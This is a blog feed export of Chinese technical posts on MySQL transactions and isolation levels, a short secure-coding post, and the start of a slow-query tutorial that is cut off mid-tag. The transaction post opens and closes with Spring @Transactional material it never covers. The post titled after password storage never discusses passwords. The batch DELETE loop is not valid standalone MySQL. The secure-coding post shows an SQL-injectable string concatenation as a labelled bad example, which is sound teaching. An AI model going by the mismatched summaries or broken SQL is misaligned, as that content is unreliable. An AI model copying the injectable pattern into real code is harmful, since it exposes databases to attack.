        <content type="html"><![CDATA[<h1 id="MySQL事务ACID与隔离级别"><a href="#MySQL事务ACID与隔离级别" class="headerlink" title="MySQL事务ACID与隔离级别"></a>MySQL事务ACID与隔离级别</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="一、事务基础"><a href="#一、事务基础" class="headerlink" title="一、事务基础"></a>一、事务基础</h2><p>#</p><h2 id="1-1-什么是事务"><a href="#1-1-什么是事务" class="headerlink" title="1.1 什么是事务"></a>1.1 什么是事务</h2><p>事务是一组逻辑操作的集合，要么全部成功，要么全部失败。</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">START</span> TRANSACTION;</span><br><span class="line"><span class="keyword">UPDATE</span> account <span class="keyword">SET</span> balance <span class="operator">=</span> balance <span class="operator">-</span> <span class="number">100</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line"><span class="keyword">UPDATE</span> account <span class="keyword">SET</span> balance <span class="operator">=</span> balance <span class="operator">+</span> <span class="number">100</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">2</span>;</span><br><span class="line"><span class="keyword">COMMIT</span>;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-事务控制语句"><a href="#1-2-事务控制语句" class="headerlink" title="1.2 事务控制语句"></a>1.2 事务控制语句</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 开启事务</span></span><br><span class="line"><span class="keyword">START</span> TRANSACTION;</span><br><span class="line"><span class="comment">-- 或</span></span><br><span class="line"><span class="keyword">BEGIN</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 提交事务</span></span><br><span class="line"><span class="keyword">COMMIT</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 回滚事务</span></span><br><span class="line"><span class="keyword">ROLLBACK</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 设置保存点</span></span><br><span class="line"><span class="keyword">SAVEPOINT</span> sp1;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 回滚到保存点</span></span><br><span class="line"><span class="keyword">ROLLBACK</span> <span class="keyword">TO</span> <span class="keyword">SAVEPOINT</span> sp1;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-3-自动提交"><a href="#1-3-自动提交" class="headerlink" title="1.3 自动提交"></a>1.3 自动提交</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看自动提交状态</span></span><br><span class="line"><span class="keyword">SELECT</span> @<span class="variable">@autocommit</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 关闭自动提交</span></span><br><span class="line"><span class="keyword">SET</span> autocommit <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 开启自动提交（默认）</span></span><br><span class="line"><span class="keyword">SET</span> autocommit <span class="operator">=</span> <span class="number">1</span>;</span><br></pre></td></tr></table></figure><h2 id="二、ACID特性"><a href="#二、ACID特性" class="headerlink" title="二、ACID特性"></a>二、ACID特性</h2><p>#</p><h2 id="2-1-原子性（Atomicity）"><a href="#2-1-原子性（Atomicity）" class="headerlink" title="2.1 原子性（Atomicity）"></a>2.1 原子性（Atomicity）</h2><p><strong>定义</strong>：事务中的所有操作要么全部完成，要么全部不完成。</p><p><strong>实现原理</strong>：Undo Log（回滚日志）</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">事务执行过程：</span><br><span class="line">1. 记录undo log</span><br><span class="line">2. 修改内存数据页</span><br><span class="line">3. 写redo log（Prepare阶段）</span><br><span class="line">4. 写binlog</span><br><span class="line">5. redo log commit</span><br><span class="line"></span><br><span class="line">如果需要回滚：</span><br><span class="line">- 根据undo log将数据恢复到事务前状态</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-一致性（Consistency）"><a href="#2-2-一致性（Consistency）" class="headerlink" title="2.2 一致性（Consistency）"></a>2.2 一致性（Consistency）</h2><p><strong>定义</strong>：事务执行前后，数据库从一个一致状态转换到另一个一致状态。</p><p><strong>含义</strong>：</p><ul><li>数据库完整性约束不被破坏</li><li>外键约束、触发器等正常执行</li><li>业务规则保证（如转账总额不变）</li></ul><p><strong>实现</strong>：原子性、隔离性、持久性共同保证一致性。</p><p>#</p><h2 id="2-3-隔离性（Isolation）"><a href="#2-3-隔离性（Isolation）" class="headerlink" title="2.3 隔离性（Isolation）"></a>2.3 隔离性（Isolation）</h2><p><strong>定义</strong>：多个事务并发执行时，一个事务的执行不应影响其他事务。</p><p><strong>实现原理</strong>：</p><ul><li>锁机制（Locking）</li><li>多版本并发控制（MVCC）</li></ul><p>#</p><h2 id="2-4-持久性（Durability）"><a href="#2-4-持久性（Durability）" class="headerlink" title="2.4 持久性（Durability）"></a>2.4 持久性（Durability）</h2><p><strong>定义</strong>：事务一旦提交，对数据库的改变就是永久的。</p><p><strong>实现原理</strong>：</p><ul><li>Redo Log（重做日志）：保证已提交事务不丢失</li><li>Force Log at Commit：事务提交时强制刷盘</li></ul><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">事务提交时的写盘流程：</span><br><span class="line">1. 修改Buffer Pool中的数据页（内存）</span><br><span class="line">2. 写Redo Log Buffer（内存）</span><br><span class="line">3. 刷Redo Log到磁盘（顺序写，速度快）</span><br><span class="line">4. 事务标记为已提交</span><br><span class="line">5. 后台线程异步将脏页刷到数据文件</span><br></pre></td></tr></table></figure><h2 id="三、并发问题"><a href="#三、并发问题" class="headerlink" title="三、并发问题"></a>三、并发问题</h2><p>#</p><h2 id="3-1-脏读（Dirty-Read）"><a href="#3-1-脏读（Dirty-Read）" class="headerlink" title="3.1 脏读（Dirty Read）"></a>3.1 脏读（Dirty Read）</h2><p><strong>现象</strong>：读取到其他事务未提交的数据。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">时间线：</span><br><span class="line">T1: UPDATE account SET balance = 900 WHERE id = 1;  -- 未提交</span><br><span class="line">T2: SELECT balance FROM account WHERE id = 1;  -- 读到900（脏读）</span><br><span class="line">T1: ROLLBACK;  -- 回滚，balance实际还是1000</span><br></pre></td></tr></table></figure><p><strong>解决</strong>：禁止读取未提交数据（Read Committed及以上）。</p><p>#</p><h2 id="3-2-不可重复读（Non-repeatable-Read）"><a href="#3-2-不可重复读（Non-repeatable-Read）" class="headerlink" title="3.2 不可重复读（Non-repeatable Read）"></a>3.2 不可重复读（Non-repeatable Read）</h2><p><strong>现象</strong>：同一事务内两次读取同一数据，结果不同。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">时间线：</span><br><span class="line">T1: SELECT balance FROM account WHERE id = 1;  -- 读到1000</span><br><span class="line">T2: UPDATE account SET balance = 900 WHERE id = 1; COMMIT;</span><br><span class="line">T1: SELECT balance FROM account WHERE id = 1;  -- 读到900（不可重复读）</span><br></pre></td></tr></table></figure><p><strong>解决</strong>：Repeatable Read及以上隔离级别。</p><p>#</p><h2 id="3-3-幻读（Phantom-Read）"><a href="#3-3-幻读（Phantom-Read）" class="headerlink" title="3.3 幻读（Phantom Read）"></a>3.3 幻读（Phantom Read）</h2><p><strong>现象</strong>：同一事务内两次查询，第二次查到了第一次没有的行。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">时间线：</span><br><span class="line">T1: SELECT * FROM account WHERE balance &gt; 500;  -- 查到3条</span><br><span class="line">T2: INSERT INTO account VALUES (4, 600); COMMIT;</span><br><span class="line">T1: SELECT * FROM account WHERE balance &gt; 500;  -- 查到4条（幻读）</span><br></pre></td></tr></table></figure><p><strong>解决</strong>：Serializable隔离级别，或InnoDB的间隙锁（Gap Lock）。</p><p>#</p><h2 id="3-4-丢失更新（Lost-Update）"><a href="#3-4-丢失更新（Lost-Update）" class="headerlink" title="3.4 丢失更新（Lost Update）"></a>3.4 丢失更新（Lost Update）</h2><p><strong>现象</strong>：两个事务同时修改同一数据，后提交的事务覆盖了先提交的修改。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">时间线：</span><br><span class="line">T1: SELECT balance FROM account WHERE id = 1;  -- 读到1000</span><br><span class="line">T2: SELECT balance FROM account WHERE id = 1;  -- 读到1000</span><br><span class="line">T1: UPDATE account SET balance = 1100 WHERE id = 1; COMMIT;</span><br><span class="line">T2: UPDATE account SET balance = 900 WHERE id = 1; COMMIT;</span><br><span class="line">-- 最终结果900，T1的更新丢失了</span><br></pre></td></tr></table></figure><p><strong>解决</strong>：使用乐观锁（版本号）或悲观锁（SELECT FOR UPDATE）。</p><h2 id="四、隔离级别"><a href="#四、隔离级别" class="headerlink" title="四、隔离级别"></a>四、隔离级别</h2><p>#</p><h2 id="4-1-四种隔离级别"><a href="#4-1-四种隔离级别" class="headerlink" title="4.1 四种隔离级别"></a>4.1 四种隔离级别</h2><table><thead><tr><th>隔离级别</th><th>脏读</th><th>不可重复读</th><th>幻读</th></tr></thead><tbody><tr><td>READ UNCOMMITTED</td><td>可能</td><td>可能</td><td>可能</td></tr><tr><td>READ COMMITTED</td><td>不可能</td><td>可能</td><td>可能</td></tr><tr><td>REPEATABLE READ</td><td>不可能</td><td>不可能</td><td>可能（InnoDB解决）</td></tr><tr><td>SERIALIZABLE</td><td>不可能</td><td>不可能</td><td>不可能</td></tr></tbody></table><p>#</p><h2 id="4-2-READ-UNCOMMITTED"><a href="#4-2-READ-UNCOMMITTED" class="headerlink" title="4.2 READ UNCOMMITTED"></a>4.2 READ UNCOMMITTED</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SET</span> SESSION TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;</span><br></pre></td></tr></table></figure><ul><li>可以读取未提交的数据</li><li>性能最好，但数据一致性最差</li><li><strong>生产环境不建议使用</strong></li></ul><p>#</p><h2 id="4-3-READ-COMMITTED"><a href="#4-3-READ-COMMITTED" class="headerlink" title="4.3 READ COMMITTED"></a>4.3 READ COMMITTED</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SET</span> SESSION TRANSACTION ISOLATION LEVEL READ COMMITTED;</span><br></pre></td></tr></table></figure><ul><li>只能读取已提交的数据（解决脏读）</li><li>每次SELECT生成新的ReadView</li><li>Oracle、SQL Server默认级别</li><li><strong>可能出现不可重复读和幻读</strong></li></ul><p>#</p><h2 id="4-4-REPEATABLE-READ（MySQL默认）"><a href="#4-4-REPEATABLE-READ（MySQL默认）" class="headerlink" title="4.4 REPEATABLE READ（MySQL默认）"></a>4.4 REPEATABLE READ（MySQL默认）</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SET</span> SESSION TRANSACTION ISOLATION LEVEL REPEATABLE READ;</span><br></pre></td></tr></table></figure><ul><li>同一事务内多次读取结果一致（解决不可重复读）</li><li>事务开始时生成ReadView，整个事务复用</li><li>InnoDB通过MVCC + 间隙锁，一定程度上解决幻读</li></ul><p>#</p><h2 id="4-5-SERIALIZABLE"><a href="#4-5-SERIALIZABLE" class="headerlink" title="4.5 SERIALIZABLE"></a>4.5 SERIALIZABLE</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SET</span> SESSION TRANSACTION ISOLATION LEVEL SERIALIZABLE;</span><br></pre></td></tr></table></figure><ul><li>所有操作串行执行</li><li>通过加锁实现，性能最差</li><li>完全解决所有并发问题</li></ul><p>#</p><h2 id="4-6-查看和设置隔离级别"><a href="#4-6-查看和设置隔离级别" class="headerlink" title="4.6 查看和设置隔离级别"></a>4.6 查看和设置隔离级别</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看当前隔离级别</span></span><br><span class="line"><span class="keyword">SELECT</span> @<span class="variable">@transaction_isolation</span>;</span><br><span class="line"><span class="comment">-- 或</span></span><br><span class="line"><span class="keyword">SHOW</span> VARIABLES <span class="keyword">LIKE</span> <span class="string">&#x27;transaction_isolation&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 设置当前会话隔离级别</span></span><br><span class="line"><span class="keyword">SET</span> SESSION TRANSACTION ISOLATION LEVEL READ COMMITTED;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 设置全局隔离级别</span></span><br><span class="line"><span class="keyword">SET</span> <span class="keyword">GLOBAL</span> TRANSACTION ISOLATION LEVEL READ COMMITTED;</span><br></pre></td></tr></table></figure><h2 id="五、InnoDB的MVCC实现"><a href="#五、InnoDB的MVCC实现" class="headerlink" title="五、InnoDB的MVCC实现"></a>五、InnoDB的MVCC实现</h2><p>#</p><h2 id="5-1-隐藏字段"><a href="#5-1-隐藏字段" class="headerlink" title="5.1 隐藏字段"></a>5.1 隐藏字段</h2><p>InnoDB每行记录都有两个隐藏字段：</p><ul><li><strong>DB_TRX_ID</strong>：最后修改该记录的事务ID</li><li><strong>DB_ROLL_PTR</strong>：回滚指针，指向undo log</li></ul><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">+----------+--------+---------+------------+-------------+</span><br><span class="line">| id | name | balance | DB_TRX_ID  | DB_ROLL_PTR |</span><br><span class="line">+----------+--------+---------+------------+-------------+</span><br><span class="line">| 1  | Alice| 1000    | 100        | 0x7f...     |</span><br><span class="line">+----------+--------+---------+------------+-------------+</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-Undo-Log链"><a href="#5-2-Undo-Log链" class="headerlink" title="5.2 Undo Log链"></a>5.2 Undo Log链</h2><p>每次修改记录，都会生成undo log，形成版本链：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">当前记录（最新版本）</span><br><span class="line">    │ DB_ROLL_PTR</span><br><span class="line">    ▼</span><br><span class="line">Undo Log（上一个版本）</span><br><span class="line">    │ DB_ROLL_PTR</span><br><span class="line">    ▼</span><br><span class="line">Undo Log（更早版本）</span><br><span class="line">    │</span><br><span class="line">   NULL</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-ReadView机制"><a href="#5-3-ReadView机制" class="headerlink" title="5.3 ReadView机制"></a>5.3 ReadView机制</h2><p>ReadView是事务进行快照读时生成的读视图，决定能看到哪个版本的数据。</p><p><strong>ReadView包含</strong>：</p><ul><li><strong>creator_trx_id</strong>：创建该ReadView的事务ID</li><li><strong>m_ids</strong>：生成ReadView时，活跃的事务ID列表</li><li><strong>min_trx_id</strong>：m_ids中的最小值</li><li><strong>max_trx_id</strong>：下一个要分配的事务ID</li></ul><p><strong>可见性判断规则</strong>：</p><p>对于某条记录的DB_TRX_ID：</p><ol><li>如果DB_TRX_ID == creator_trx_id：自己修改的，可见</li><li>如果DB_TRX_ID &lt; min_trx_id：在ReadView创建前已提交，可见</li><li>如果DB_TRX_ID &gt;= max_trx_id：在ReadView创建后启动，不可见</li><li>如果min_trx_id &lt;= DB_TRX_ID &lt; max_trx_id：<ul><li>在m_ids列表中：事务活跃，不可见</li><li>不在m_ids列表中：已提交，可见</li></ul></li></ol><p><strong>不可见时</strong>：通过DB_ROLL_PTR找到上一个版本，继续判断。</p><p>#</p><h2 id="5-4-不同隔离级别的ReadView差异"><a href="#5-4-不同隔离级别的ReadView差异" class="headerlink" title="5.4 不同隔离级别的ReadView差异"></a>5.4 不同隔离级别的ReadView差异</h2><p><strong>READ COMMITTED</strong>：</p><ul><li>每次SELECT生成新的ReadView</li><li>能看到其他事务已提交的最新数据</li></ul><p><strong>REPEATABLE READ</strong>：</p><ul><li>事务第一次SELECT时生成ReadView</li><li>整个事务期间复用该ReadView</li><li>保证同一事务内读取一致性</li></ul><h2 id="六、锁机制与隔离级别"><a href="#六、锁机制与隔离级别" class="headerlink" title="六、锁机制与隔离级别"></a>六、锁机制与隔离级别</h2><p>#</p><h2 id="6-1-InnoDB锁类型"><a href="#6-1-InnoDB锁类型" class="headerlink" title="6.1 InnoDB锁类型"></a>6.1 InnoDB锁类型</h2><p><strong>按粒度</strong>：</p><ul><li>行锁（Record Lock）</li><li>间隙锁（Gap Lock）</li><li>临键锁（Next-Key Lock = Record Lock + Gap Lock）</li><li>表锁</li></ul><p><strong>按功能</strong>：</p><ul><li>共享锁（S Lock）：读锁</li><li>排他锁（X Lock）：写锁</li></ul><p>#</p><h2 id="6-2-各隔离级别的锁行为"><a href="#6-2-各隔离级别的锁行为" class="headerlink" title="6.2 各隔离级别的锁行为"></a>6.2 各隔离级别的锁行为</h2><p><strong>READ UNCOMMITTED</strong>：</p><ul><li>SELECT不加锁，直接读最新数据（包括未提交的）</li></ul><p><strong>READ COMMITTED</strong>：</p><ul><li>SELECT不加锁，使用MVCC读取已提交数据</li><li>UPDATE/DELETE只锁匹配的行（记录锁）</li></ul><p><strong>REPEATABLE READ</strong>：</p><ul><li>SELECT不加锁，使用MVCC读取快照</li><li>UPDATE/DELETE使用临键锁（Next-Key Lock），防止幻读</li><li>范围查询时加间隙锁</li></ul><p><strong>SERIALIZABLE</strong>：</p><ul><li>所有SELECT加共享锁</li><li>完全串行化</li></ul><p>#</p><h2 id="6-3-幻读的解决"><a href="#6-3-幻读的解决" class="headerlink" title="6.3 幻读的解决"></a>6.3 幻读的解决</h2><p>InnoDB在REPEATABLE READ下通过间隙锁解决幻读：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- T1</span></span><br><span class="line"><span class="keyword">BEGIN</span>;</span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> account <span class="keyword">WHERE</span> id <span class="operator">&gt;</span> <span class="number">5</span> <span class="keyword">FOR</span> <span class="keyword">UPDATE</span>;</span><br><span class="line"><span class="comment">-- 锁住id&gt;5的记录，以及id&gt;5的间隙</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- T2</span></span><br><span class="line"><span class="keyword">INSERT INTO</span> account <span class="keyword">VALUES</span> (<span class="number">10</span>, ...);  <span class="comment">-- 被阻塞！间隙锁阻止插入</span></span><br></pre></td></tr></table></figure><p><strong>注意</strong>：普通SELECT（快照读）不受间隙锁保护，可能看到幻读。只有FOR UPDATE（当前读）加间隙锁才能完全避免。</p><h2 id="七、事务优化建议"><a href="#七、事务优化建议" class="headerlink" title="七、事务优化建议"></a>七、事务优化建议</h2><p>#</p><h2 id="7-1-事务设计原则"><a href="#7-1-事务设计原则" class="headerlink" title="7.1 事务设计原则"></a>7.1 事务设计原则</h2><ol><li><strong>保持事务简短</strong>：长事务占用锁时间长，影响并发</li><li><strong>避免在事务中做RPC调用</strong>：网络延迟导致事务长时间不提交</li><li><strong>按固定顺序访问资源</strong>：减少死锁概率</li><li><strong>合适的隔离级别</strong>：不需要RR时，使用RC提升并发</li></ol><p>#</p><h2 id="7-2-大事务处理"><a href="#7-2-大事务处理" class="headerlink" title="7.2 大事务处理"></a>7.2 大事务处理</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 大DELETE分批处理</span></span><br><span class="line">REPEAT</span><br><span class="line">    <span class="keyword">DELETE</span> <span class="keyword">FROM</span> logs <span class="keyword">WHERE</span> create_time <span class="operator">&lt;</span> <span class="string">&#x27;2023-01-01&#x27;</span> LIMIT <span class="number">1000</span>;</span><br><span class="line">    SLEEP <span class="number">1</span>;</span><br><span class="line">UNTIL ROW_COUNT() <span class="operator">=</span> <span class="number">0</span> <span class="keyword">END</span> REPEAT;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-3-监控长事务"><a href="#7-3-监控长事务" class="headerlink" title="7.3 监控长事务"></a>7.3 监控长事务</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看正在执行的事务</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    trx_id,</span><br><span class="line">    trx_state,</span><br><span class="line">    trx_started,</span><br><span class="line">    TIMESTAMPDIFF(<span class="keyword">SECOND</span>, trx_started, NOW()) <span class="keyword">AS</span> trx_seconds,</span><br><span class="line">    trx_mysql_thread_id,</span><br><span class="line">    trx_tables_locked,</span><br><span class="line">    trx_rows_locked</span><br><span class="line"><span class="keyword">FROM</span> information_schema.innodb_trx</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> trx_started;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 杀死长事务</span></span><br><span class="line">KILL <span class="operator">&lt;</span>trx_mysql_thread_id<span class="operator">&gt;</span>;</span><br></pre></td></tr></table></figure><h2 id="八、总结"><a href="#八、总结" class="headerlink" title="八、总结"></a>八、总结</h2><table><thead><tr><th>特性</th><th>实现机制</th><th>关键概念</th></tr></thead><tbody><tr><td>原子性</td><td>Undo Log</td><td>回滚</td></tr><tr><td>一致性</td><td>ACID综合</td><td>约束、触发器</td></tr><tr><td>隔离性</td><td>MVCC + 锁</td><td>ReadView、间隙锁</td></tr><tr><td>持久性</td><td>Redo Log</td><td>WAL、刷盘</td></tr></tbody></table><table><thead><tr><th>隔离级别</th><th>脏读</th><th>不可重复读</th><th>幻读</th><th>实现</th></tr></thead><tbody><tr><td>RU</td><td>✓</td><td>✓</td><td>✓</td><td>无</td></tr><tr><td>RC</td><td>✗</td><td>✓</td><td>✓</td><td>MVCC</td></tr><tr><td>RR</td><td>✗</td><td>✗</td><td>部分</td><td>MVCC + 间隙锁</td></tr><tr><td>Serializable</td><td>✗</td><td>✗</td><td>✗</td><td>串行化</td></tr></tbody></table><p>理解ACID和隔离级别的实现原理，有助于：</p><ol><li>合理选择隔离级别</li><li>设计出高效的事务逻辑</li><li>快速定位和解决并发问题</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> MySQL </tag>
            
            <tag> 数据库 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>密码存储为什么不能明文</title>
      <link href="//mi-ma-cun-chu-wei-shi-me-bu-neng-ming-wen/"/>
      <url>//mi-ma-cun-chu-wei-shi-me-bu-neng-ming-wen/</url>
      
        <content type="html"><![CDATA[<h1 id="密码存储为什么不能明文"><a href="#密码存储为什么不能明文" class="headerlink" title="密码存储为什么不能明文"></a>密码存储为什么不能明文</h1><p>密码为什么不能明文存储，这是一个基础但容易被忽视的问题。本文讲正确的做法。</p><h2 id="安全问题要默认不信任输入"><a href="#安全问题要默认不信任输入" class="headerlink" title="安全问题要默认不信任输入"></a>安全问题要默认不信任输入</h2><p>无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。</p><h2 id="SQL-注入的例子"><a href="#SQL-注入的例子" class="headerlink" title="SQL 注入的例子"></a>SQL 注入的例子</h2><p>危险写法：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &#x27;&quot;</span> + name + <span class="string">&quot;&#x27;&quot;</span>;</span><br></pre></td></tr></table></figure><p>推荐使用预编译参数：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> ?;</span><br></pre></td></tr></table></figure><p>在 MyBatis 中优先使用 <code>#{name}</code>，不要用 <code>${name}</code> 拼接用户输入。</p><h2 id="权限校验"><a href="#权限校验" class="headerlink" title="权限校验"></a>权限校验</h2><p>登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。</p>]]></content>
      
      
      <categories>
          
          <category> 安全 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 安全 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL慢查询分析与优化</title>
      <link href="//mysql-slow-query-analysis/"/>
      <url>//mysql-slow-query-analysis/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL慢查询分析与优化"><a href="#MySQL慢查询分析与优化" class="headerlink" title="MySQL慢查询分析与优化"></a>MySQL慢查询分析与优化</h1><p>MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。</p><h2 id="一、慢查询日志配置"><a href="#一、慢查询日志配置" class="headerlink" title="一、慢查询日志配置"></a>一、慢查询日志配置</h2><p>#</p><h2 id="1-1-开启慢查询日志"><a href="#1-1-开启慢查询日志" class="headerlink" title="1.1 开启慢查询日志"></a>1.1 开启慢查询日志</h2><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="section">[mysqld]</span></span><br><span class="line"><span class="comment"># 开启慢查询日志</span></span><br><span class="line"><span class="attr">slow_query_log</span> = <span class="literal">ON</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 日志文件路径</span></span><br><span class="line"><span class="attr">slow_query_log_file</span> = /var/lib/mysql/slow.log</span><br><span class="line"></span><br><span class="line"><span class="comment"># 慢查询时间阈值（秒），默认10秒</span></span><br><span class="line"><span class="attr">long_query_time</span> = <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 记录未使用索引的查询（可选）</span></span><br><span class="line"><span class="attr">log_queries_not_using_indexes</span> = <span class="literal">ON</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 控制每分钟记录多少条未使用索引的查询（防止日志过大）</span></span><br><span class="line"><span class="attr">log_throttle_queries_not_using_indexes</span> = <span class="number">10</span></span><br></pre></td></tr></table></figure><p>动态开启（无需重启）：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SET</span> <span class="keyword">GLOBAL</span> slow_query_log <span class="operator">=</span> <span class="string">&#x27;ON&#x27;</span>;</span><br><span class="line"><span class="keyword">SET</span> <span class="keyword">GLOBAL</span> long_query_time <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line"><span class="keyword">SET</span> <span class="keyword">GLOBAL</span> log_queries_not_using_indexes <span class="operator">=</span> <span class="string">&#x27;ON&#x27;</span>;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-慢查询日志格式"><a href="#1-2-慢查询日志格式" class="headerlink" title="1.2 慢查询日志格式"></a>1.2 慢查询日志格式</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"># <span class="type">Time</span>: <span class="number">2024</span><span class="number">-07</span><span class="number">-18</span>T09:<span class="number">00</span>:<span class="number">01.234567</span>Z</span><br><span class="line"># <span class="keyword">User</span><span class="variable">@Host</span>: root[root] @ localhost []</span><br><span class="line"># Query_time: <span class="number">2.345678</span>  Lock_time: <span class="number">0.000123</span> Rows_sent: <span class="number">10</span>  Rows_examined: <span class="number">1000000</span></span><br><span class="line"><span class="keyword">SET</span> <span class="type">timestamp</span><span class="operator">=</span><span class="number">1721286001</span>;</span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> status <span class="operator">=</span> <span class="number">0</span> <span class="keyword">ORDER</span> <span class="keyword">BY</span> create_time LIMIT <span class="number">10</span>;</span><br></pre></td></tr></table></figure><p>关键字段说明：<br>| 字段 | 含义 |<br>|——|——|<br>| Query_time | SQL执行总时间 |<br>| Lock_time | 获取锁的时间 |<br>| Rows_sent | 返回给客户端的行数 |<br>| Rows_examined | 扫描的行数 |</p><p><strong>Rows_examined远大于Rows_sent，说明索引可能有问题。</strong></p><h2 id="二、慢查询分析工具"><a href="#二、慢查询分析工具" class="headerlink" title="二、慢查询分析工具"></a>二、慢查询分析工具</h2><p>#</p><h2 id="2-1-mysqldumpslow（MySQL自带）"><a href="#2-1-mysqldumpslow（MySQL自带）" class="headerlink" title="2.1 mysqldumpslow（MySQL自带）"></a>2.1 mysqldumpslow（MySQL自带）</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看最慢的10条SQL</span></span><br><span class="line">mysqldumpslow -s t -t 10 /var/lib/mysql/slow.log</span><br><span class="line"></span><br><span class="line"><span class="comment"># 参数说明</span></span><br><span class="line"><span class="comment"># -s: 排序方式（t:时间, l:锁时间, r:行数, c:次数）</span></span><br><span class="line"><span class="comment"># -t: 显示条数</span></span><br><span class="line"><span class="comment"># -g: 过滤SQL</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看出现次数最多的10条</span></span><br><span class="line">mysqldumpslow -s c -t 10 /var/lib/mysql/slow.log</span><br><span class="line"></span><br><span class="line"><span class="comment"># 过滤包含SELECT的SQL</span></span><br><span class="line">mysqldumpslow -s t -t 10 -g <span class="string">&quot;SELECT&quot;</span> /var/lib/mysql/slow.log</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-pt-query-digest（Percona-Toolkit）"><a href="#2-2-pt-query-digest（Percona-Toolkit）" class="headerlink" title="2.2 pt-query-digest（Percona Toolkit）"></a>2.2 pt-query-digest（Percona Toolkit）</h2><p>功能最强大的慢查询分析工具：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 安装</span></span><br><span class="line">yum install percona-toolkit</span><br><span class="line"></span><br><span class="line"><span 